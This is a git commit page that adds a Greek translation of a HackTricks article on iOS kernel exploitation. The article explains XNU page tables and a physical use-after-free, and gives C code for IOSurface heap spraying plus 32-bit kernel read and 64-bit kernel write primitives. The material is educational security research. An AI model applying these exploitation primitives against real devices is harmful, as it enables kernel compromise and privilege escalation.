mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['binary-exploitation/ios-exploiting.md'] to gr
This commit is contained in:
parent
bd69da6a15
commit
7d95bb562b
2 changed files with 204 additions and 0 deletions
|
@ -778,6 +778,7 @@
|
|||
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
|
||||
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
## 🔩 Reversing
|
||||
|
||||
|
|
203
binary-exploitation/ios-exploiting.md
Normal file
203
binary-exploitation/ios-exploiting.md
Normal file
|
@ -0,0 +1,203 @@
|
|||
# iOS Exploiting
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
Αυτή είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα στη φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:
|
||||
|
||||
1. **L1 Page Table (Επίπεδο 1)**:
|
||||
* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
|
||||
* Καλύπτει **0x1000000000 bytes** (ή **256 GB**) εικονικής μνήμης.
|
||||
2. **L2 Page Table (Επίπεδο 2)**:
|
||||
* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
|
||||
* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να χαρτογραφήσει ολόκληρη την περιοχή μόνη της.
|
||||
3. **L3 Page Table (Επίπεδο 3)**:
|
||||
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή χαρτογραφεί μια μεμονωμένη **4 KB** σελίδα μνήμης.
|
||||
* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Άμεση Χαρτογράφηση (Block Mapping)**:
|
||||
* Ορισμένες εγγραφές σε έναν πίνακα σελίδων χαρτογραφούν άμεσα **ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση).
|
||||
* **Δείκτης σε Παιδικό Πίνακα Σελίδων**:
|
||||
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **παιδικό πίνακα σελίδων** στο επόμενο επίπεδο (π.χ., L2).
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**:
|
||||
|
||||
1. **L1 Table**:
|
||||
* Ο πυρήνας ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει έναν **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2.
|
||||
2. **L2 Table**:
|
||||
* Ο πυρήνας ελέγχει τον πίνακα L2 για μια πιο λεπτομερή χαρτογράφηση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί.
|
||||
3. **L3 Table**:
|
||||
* Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε:
|
||||
|
||||
* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** χαρτογραφούνται σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**.
|
||||
* Αυτό είναι μια **χαρτογράφηση μπλοκ** στο επίπεδο L2.
|
||||
|
||||
Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:
|
||||
|
||||
* Κάθε σελίδα 4 KB στην εικονική διεύθυνση **0x1000000000 -> 0x1002000000** θα χαρτογραφείται από μεμονωμένες εγγραφές στον πίνακα L3.
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν:
|
||||
|
||||
1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**.
|
||||
2. Οι **πίνακες σελίδων** ενημερώνονται για να χαρτογραφήσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία.
|
||||
3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη.
|
||||
4. Ωστόσο, λόγω ενός **σφάλματος**, ο πυρήνας **ξεχνά να αφαιρέσει τη χαρτογράφηση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
|
||||
5. Ο πυρήνας μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελευθερωμένη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα πυρήνα**.
|
||||
6. Δεδομένου ότι η χαρτογράφηση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη.
|
||||
|
||||
Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης πυρήνα**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του πυρήνα**.
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν σε ελευθερωμένη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**:
|
||||
|
||||
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του πυρήνα.
|
||||
2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση.
|
||||
3. **Σαρώνονται οι ελευθερωμένες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελευθερωμένη σελίδα.
|
||||
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελευθερωμένη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του πυρήνα**.
|
||||
|
||||
Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό αναγνωριστικό ("μαγική τιμή").
|
||||
2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελευθερωμένη σελίδα.
|
||||
3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του πυρήνα. Αυτό τους επιτρέπει:
|
||||
* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του πυρήνα.
|
||||
* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα**.
|
||||
|
||||
Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE_MAGIC για να τα αναζητήσετε αργότερα:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Αναζητήστε αντικείμενα **`IOSurface`** σε μία ελεύθερη φυσική σελίδα:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Επιτυχία Kernel Read/Write με IOSurface
|
||||
|
||||
Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια απελευθερωμένη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής στον kernel**.
|
||||
|
||||
**Κύρια Πεδία στο IOSurface**
|
||||
|
||||
Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:
|
||||
|
||||
1. **Δείκτης Χρήσης**: Επιτρέπει μια **32-bit ανάγνωση**.
|
||||
2. **Δείκτης Χρονοσήμανσης με Ευρετήριο**: Επιτρέπει μια **64-bit εγγραφή**.
|
||||
|
||||
Με την επαναγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.
|
||||
|
||||
#### 32-Bit Kernel Read
|
||||
|
||||
Για να εκτελέσουμε μια ανάγνωση:
|
||||
|
||||
1. Επαναγράψτε τον **δείκτη χρήσης** ώστε να δείχνει στη διεύθυνση στόχο μείον μια απόσταση 0x14 byte.
|
||||
2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
Για να εκτελέσετε μια εγγραφή:
|
||||
|
||||
1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με δείκτη** στη στοχευμένη διεύθυνση.
|
||||
2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια 64-bit τιμή.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Ανακεφαλαίωση Ροής Εκμετάλλευσης
|
||||
|
||||
1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωση**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
|
||||
2. **Ψεκασμός Αντικειμένων IOSurface**: Δεσμεύστε πολλά αντικείμενα IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα.
|
||||
3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
|
||||
4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωση**: Τροποποιήστε τους δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface.
|
||||
|
||||
Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e).
|
Loading…
Reference in a new issue